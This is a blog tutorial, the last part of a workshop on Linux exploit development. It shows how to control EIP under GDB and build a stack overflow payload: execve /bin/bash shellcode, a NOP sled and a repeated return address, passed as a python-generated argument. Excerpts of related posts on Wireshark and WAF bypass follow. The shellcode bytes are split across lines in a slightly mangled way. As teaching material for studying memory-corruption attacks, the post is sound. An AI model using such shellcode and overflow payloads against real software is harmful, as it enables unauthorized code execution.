Skip to main content

Exploit Development on Linux Platform Part - 5


Exploiting the  Vulnerable Code on Linux

 Introduction

    Welcome to module 5, the last module of this workshop. So far in this workshop, we have been learning about debugging and how to work with GDB in Linux and, most importantly, controlling the EIP register.
Prrequisite

     It is strongly recommended that you should first complete the previous four modules of this workshop and then start completing this module.
      
           In this module, we will try to go to the level of exploitation while getting help from GDB so that we know how we can develop exploit in Linux.
Controlling EIP

          We have already presented how to control EIP in our previous module and what role GDB can play in debugging and giving you information about registers.

      Now, let’s focus on first having a small shellcode which we can create easily and as we need. To demonstrate exploitation we need to have a shellcode.
Download shellcode generator

         You can download this shellcode generator to help you in generating custom shellcode, like [/bin/bash].

Download link: http://www.exploit-db.com/download/13281.

        Let’s first download this code and then compile this code as shown below in the figure.


          
          We have downloaded this, now let’s compile and generate the shellcode [/bin/bash].


            To generate the shellcode [/bin/bash] you have to execute the green binary file as shown in below figure.


Now, save this shellcode for later use in this module.
     
         Now we need to perform some calculations and fiund that our ESP is located at location shown in below figure.


 Now we will see how far we can go with ESP to see what is there in the ESP.



        We keep subtracting bytes and end up at the following where stack were empty from the data we passed.
           Our calculation results in that if we are able to pass around 25 NOPS and then try executing our shell code, we might get the shell.

Coding our Exploit

Our shell code is as given below:

Shellcode length: 45

\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\
x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\
xcd\x80\xb0\x01\x31\xdb\xcd\x80

EIP Value to be used

           What you need to understand is that we are giving demonstration as per the values of our virtual machine, these values would be different in your system however the concept will remain the same.
$(python -c ‘print “\x90” * 25 + “\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\
x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\
xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80” + “\x6c\
xf0\xff\xbf” * 35’)

       What is given in above code is, basically, we are passing a run time parameter which includes 25 NOPS i.e. [\x90] then we are sending our shellcode which we calculated and showed earlier. After that, we have our ESP value we want to overwrite.

         By executing this, you would be able to execute the shellcode via command line parameter given to the program and this you can see in your debugger, as well.

     This is just the demonstration, which covers concepts on how you can use debugger on Linux to develop exploit codes on Linux platform.

Popular posts from this blog

Haking On Demand_WireShark - Part 5

Detect/Analyze Scanning Traffic Using Wireshark “Wireshark”, the world’s most popular Network Protocol Analyzer is a multipurpose tool. It can be used as a Packet Sniffer, Network Analyser, Protocol Analyser & Forensic tool. Through this article my focus is on how to use Wireshark to detect/analyze any scanning & suspect traffic. Let’s start with Scanning first. As a thief studies surroundings before stealing something from a target, similarly attackers or hackers also perform foot printing and scanning before the actual attack. In this phase, they want to collect all possible information about the target so that they can plan their attack accordingly. If we talk about scanning here they want to collect details like: • Which IP addresses are in use? • Which port/services are active on those IPs? • Which platform (Operating System) is in use? • What are the vulnerabilities & other similar kinds of information. • Now moving to some popular scan methods and ho

Bypassing Web Application Firewall Part - 2

WAF Bypassing with SQL Injection HTTP Parameter Pollution & Encoding Techniques HTTP Parameter Pollution is an attack where we have the ability to override or add HTTP GET/POST parameters by injecting string delimiters. HPP can be distinguished in two categories, client-side and server-side, and the exploitation of HPP can result in the following outcomes:  •Override existing hardcoded HTTP parameters  •Modify the application behaviors   •Access and potentially exploit uncontrollable variables  • Bypass input validation checkpoints and WAF rules HTTP Parameter Pollution – HPP   WAFs, which is the topic of interest, many times perform query string parsing before applying the filters to this string. This may result in the execution of a payload that an HTTP request can carry. Some WAFs analyze only one parameter from the string of the request, most of the times the first or the last, which may result in a bypass of the WAF filters, and execution of the payload in the server.  Let’s e

Bypassing Web Application Firewall Part - 4

Securing WAF and Conclusion DOM Based XSS DOM based XSS is another type of XSS that is also used widely, and we didn’t discuss it in module 3. The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie, and it is also a security feature that limits scripts on different domains from obtaining cookies for other domains. Now, the XSS attacks based on this is when the payload that we inject is executed as a result of modifying the DOM environment in the victim’s browser, so that the code runs in an unexpected way. By this we mean that in contrast with the other two attacks, here the page that the victim sees does not change, but the injected code is executed differently because of the modifications that have been done in the DOM environment, that we said earlier. In the other XSS attacks, we saw the injected code was